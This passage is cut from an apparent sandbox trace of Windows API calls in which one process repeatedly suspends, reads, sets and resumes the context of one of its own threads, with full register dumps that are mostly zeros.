[78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0107.245] ResumeThread (hThread=0x130) returned 0x1
[0107.245] CloseHandle (hObject=0x130) returned 1
[0107.245] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.348] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.383] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.460] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.537] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0107.537] SuspendThread (hThread=0x130) returned 0x0
[0107.537] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147ab8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1527fc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0107.608] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147ab0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0107.676] ResumeThread (hThread=0x130) returned 0x1
[0107.676] CloseHandle (hObject=0x130) returned 1
[0107.676] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.710] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.745] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0107.962] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.114] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0108.114] SuspendThread (hThread=0x130) returned 0x0
[0108.114] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1534080, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0108.235] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0108.304] ResumeThread (hThread=0x130) returned 0x1
[0108.304] CloseHandle (hObject=0x130) returned 1
[0108.304] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.349] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.383] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.460] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0108.540] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0108.540] SuspendThread (hThread=0x130) returned 0x0
[0108.540] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff8d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12bc05f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, 